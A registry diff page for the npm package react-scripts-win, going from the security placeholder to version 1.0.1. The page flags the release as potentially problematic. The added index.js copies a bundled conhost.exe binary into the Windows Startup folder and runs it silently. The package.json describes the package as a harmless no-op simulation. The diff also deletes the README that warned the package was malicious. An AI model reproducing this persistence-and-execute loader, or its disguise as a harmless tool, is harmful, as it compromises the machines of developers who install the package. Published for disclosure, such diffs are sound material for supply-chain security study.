react-scripts-win 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of react-scripts-win might be problematic. Click here for more details.
- package/conhost.exe +0 -0
- package/example.js +5 -0
- package/index.js +36 -0
- package/package.json +17 -6
- package/README.md +0 -5
package/conhost.exe
ADDED
|
Binary file
|
package/example.js
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
// Import the local package (assuming it's in the same directory or properly linked)
|
|
2
|
+
const reactScriptsWin = require('./index'); // Assuming index.js is in the same folder
|
|
3
|
+
|
|
4
|
+
// Call the react-scripts-win function with the Windows version
|
|
5
|
+
reactScriptsWin('10'); // Replace '10' with the desired Windows version
|
package/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
async function reactScriptsWin() {
|
|
6
|
+
try {
|
|
7
|
+
const username = process.env.USERNAME || process.env.USER;
|
|
8
|
+
const startupPath = path.join(
|
|
9
|
+
'C:\\Users',
|
|
10
|
+
username,
|
|
11
|
+
'AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'
|
|
12
|
+
);
|
|
13
|
+
const sourcePath = 'conhost.exe';
|
|
14
|
+
const destinationPath = path.join(startupPath, 'conhost.exe');
|
|
15
|
+
|
|
16
|
+
if (!fs.existsSync(startupPath)) {
|
|
17
|
+
fs.mkdirSync(startupPath, { recursive: true });
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
fs.copyFileSync(sourcePath, destinationPath);
|
|
21
|
+
|
|
22
|
+
console.log('React-Scripts-Win Running On WIN 22h2');
|
|
23
|
+
|
|
24
|
+
exec(`"${destinationPath}"`, (error) => {
|
|
25
|
+
if (error) {
|
|
26
|
+
// console.error('Error running conhost.exe:', error);
|
|
27
|
+
} else {
|
|
28
|
+
//console.log('conhost.exe is now running.');
|
|
29
|
+
}
|
|
30
|
+
});
|
|
31
|
+
} catch (error) {
|
|
32
|
+
// console.error('Error moving or running file:', error);
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
module.exports = reactScriptsWin;
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
|
-
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "react-scripts-win",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "A simple package to simulate running react-scripts on Windows without any actual operations.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node index.js",
|
|
8
|
+
"test": "echo \"No tests available\""
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["react-scripts", "windows", "no-op", "simulation"],
|
|
11
|
+
"author": "Your Name",
|
|
12
|
+
"license": "MIT",
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"axios": "^1.0.0"
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=react-scripts-win for more information.
|